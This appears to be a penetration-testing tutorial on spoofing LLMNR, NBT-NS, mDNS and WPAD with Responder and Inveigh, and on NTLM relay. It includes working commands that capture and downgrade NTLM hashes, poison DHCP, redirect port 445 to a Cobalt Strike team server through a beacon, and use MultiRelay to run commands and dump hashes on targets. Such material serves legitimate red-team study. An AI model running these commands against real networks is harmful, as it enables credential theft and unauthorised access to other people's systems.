Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

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Network Protocols

Local Host Resolution Protocols

  • LLMNR, NBT-NS, and mDNS:

    • Microsoft and other operating systems use LLMNR and NBT-NS for local name resolution when DNS fails. Similarly, Apple and Linux systems use mDNS.

    • These protocols are susceptible to interception and spoofing due to their unauthenticated, broadcast nature over UDP.

    • Responder can be used to impersonate services by sending forged responses to hosts querying these protocols.

    • Further information on service impersonation using Responder can be found here.

Web Proxy Auto-Discovery Protocol (WPAD)

  • WPAD allows browsers to discover proxy settings automatically.

  • Discovery is facilitated via DHCP, DNS, or fallback to LLMNR and NBT-NS if DNS fails.

  • Responder can automate WPAD attacks, directing clients to malicious WPAD servers.

Responder for Protocol Poisoning

  • Responder is a tool used for poisoning LLMNR, NBT-NS, and mDNS queries, selectively responding based on query types, primarily targeting SMB services.

  • It comes pre-installed in Kali Linux, configurable at /etc/responder/Responder.conf.

  • Responder displays captured hashes on the screen and saves them in the /usr/share/responder/logs directory.

  • It supports both IPv4 and IPv6.

  • Windows version of Responder is available here.

Running Responder

  • To run Responder with default settings: responder -I <Interface>

  • For more aggressive probing (with potential side effects): responder -I <Interface> -P -r -v

  • Techniques to capture NTLMv1 challenges/responses for easier cracking: responder -I <Interface> --lm --disable-ess

  • WPAD impersonation can be activated with: responder -I <Interface> --wpad

  • NetBIOS requests can be resolved to the attacker's IP, and an authentication proxy can be set up: responder.py -I <interface> -Pv

DHCP Poisoning with Responder

  • Spoofing DHCP responses can permanently poison a victim's routing information, offering a stealthier alternative to ARP poisoning.

  • It requires precise knowledge of the target network's configuration.

  • Running the attack: ./Responder.py -I eth0 -Pdv

  • This method can effectively capture NTLMv1/2 hashes, but it requires careful handling to avoid network disruption.

Capturing Credentials with Responder

  • Responder will impersonate services using the above-mentioned protocols, capturing credentials (usually NTLMv2 Challenge/Response) when a user attempts to authenticate against the spoofed services.

  • Attempts can be made to downgrade to NetNTLMv1 or disable ESS for easier credential cracking.

It's crucial to note that employing these techniques should be done legally and ethically, ensuring proper authorization and avoiding disruption or unauthorized access.


Inveigh is a tool for penetration testers and red teamers, designed for Windows systems. It offers functionalities similar to Responder, performing spoofing and man-in-the-middle attacks. The tool has evolved from a PowerShell script to a C# binary, with Inveigh and InveighZero as the main versions. Detailed parameters and instructions can be found in the wiki.

Inveigh can be operated through PowerShell:

Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

Or executed as a C# binary:


NTLM Relay Attack

This attack leverages SMB authentication sessions to access a target machine, granting a system shell if successful. Key prerequisites include:

  • The authenticating user must have Local Admin access on the relayed host.

  • SMB signing should be disabled.

445 Port Forwarding and Tunneling

In scenarios where direct network introduction isn't feasible, traffic on port 445 needs to be forwarded and tunneled. Tools like PortBender help in redirecting port 445 traffic to another port, which is essential when local admin access is available for driver loading.

PortBender setup and operation in Cobalt Strike:

Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

Other Tools for NTLM Relay Attack

  • Metasploit: Set up with proxies, local and remote host details.

  • smbrelayx: A Python script for relaying SMB sessions and executing commands or deploying backdoors.

  • MultiRelay: A tool from the Responder suite to relay specific users or all users, execute commands, or dump hashes.

Each tool can be configured to operate through a SOCKS proxy if necessary, enabling attacks even with indirect network access.

MultiRelay Operation

MultiRelay is executed from the /usr/share/responder/tools directory, targeting specific IPs or users.

python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

These tools and techniques form a comprehensive set for conducting NTLM Relay attacks in various network environments.

Force NTLM Logins

In Windows you may be able to force some privileged accounts to authenticate to arbitrary machines. Read the following page to learn how:

Force NTLM Privileged Authentication


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